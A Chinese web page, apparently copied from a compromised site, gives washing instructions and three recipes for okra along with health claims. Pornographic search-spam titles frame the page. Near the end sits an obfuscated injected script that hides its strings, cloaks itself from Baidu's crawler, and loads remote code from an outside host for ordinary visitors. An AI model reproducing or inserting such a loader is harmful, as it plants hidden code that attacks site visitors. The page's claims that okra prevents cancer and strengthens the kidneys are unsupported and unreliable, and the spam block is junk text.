久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 健康飲食 > 正文

秋葵怎么洗

2017-04-21 19:49:12  來源:360常識網   熱度:
導語:秋葵可以當做一種蔬菜,也可以當做一種藥材。秋葵原本產自于非洲,20世紀的時候引入到我國。秋葵具有很好的藥用價值。在秋葵中,硒以及鋅的

秋葵可以當做一種蔬菜,也可以當做一種藥材。秋葵原本產自于非洲,20世紀的時候引入到我國。秋葵具有很好的藥用價值。在秋葵中,硒以及鋅的含量非常豐富,經常食用具有抗癌防癌的功效。秋葵食用后可保護胃粘膜,吃秋葵還可緩解咽喉疼痛幫助消化。下面來介紹秋葵的清洗方法以及制作方法。

清洗方法:首先將蒂切去后將棱角也切掉,其次均勻的涂抹上鹽,擦洗干凈表面的容貌,最后清洗干凈后就可以了。

黃秋葵菜式一:涼拌黃秋葵。做法:黃秋葵用鹽搓揉去絨毛,清洗后放入開水中煮3分鐘,撈出過涼,橫切成星形。用橄欖油、鹽、蘋果醋拌一個油醋汁,澆在黃秋葵上拌勻,撒上熟黑芝麻裝飾即成。

黃秋葵菜式二:白灼黃秋葵。做法:黃秋葵用鹽搓揉去絨毛,清洗后放入開水中煮3分鐘,撈出過涼,順長剖開,一切為二,放在盤中。黃秋葵上澆上生抽,燒熱油,炸香蒜茸,把熱油澆在黃秋葵上即成。

黃秋葵菜式三:清炒黃秋葵。做法:黃秋葵用鹽搓揉去絨毛,清洗后放入開水中煮1分鐘,撈出過涼,斜切成片。熱鍋加油爆香蒜茸,下黃秋葵翻炒,加鹽調味,即可出鍋。可以略加些味精。

經常吃秋葵的人,身體依賴缺氧的能力會增強。在秋葵當中果膠的含量較為豐富,另外還含有大量的多糖,對人體肝臟有保護功能。經常吃秋葵還能補鈣,并且秋葵當中的鈣被人體的吸收率很高,大約在60%左右。男性腎功能不好的時候,吃秋葵可補腎。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 欧美成人精精品一区二区频 | 国产不卡一区二区三区在线观看 | 自拍第一页 | 免费成人高清在线视频 | 久久精品二区 | 中文字幕a视频 | 欧美成人a∨高清免费观看 99精品欧美一区二区三区 | 五月激情六月天 | 天天夜夜操操 | 欧美精品在线一区二区三区 | 日本在线播放 | 亚洲精品第一页 | 久久久久国产一区二区三区四区 | 一区在线观看视频 | 天天干天天操天天舔 | 国产精品久久久久蜜臀 | 久国久产久精永久网页 | 91精品国产91久久久久久吃药 | 日韩精品一区二区三区视频播放 | 精品国产一区二区三区久久久 | 色婷婷综合久久久久中文 | 国产一区二区三区免费 | 日韩美女亚洲99久久二区 | 国产一页 | 一级毛片视频 | 久久久久久av | 正在播放国产精品 | 91精品久久久久久久久 | 久久精品国产99 | 欧美精品第十页 | 亚洲三区视频 | 免费黄色欧美 | 天堂va蜜桃一区二区三区 | 国产精品久久久久久一级毛片 | 午夜精品一区二区三区在线 | 国产成人影视 | 成人作爱视频 | 日日干夜夜操 | 国产精品一区一区三区 | av免费网站在线观看 | 精品久久久网站 |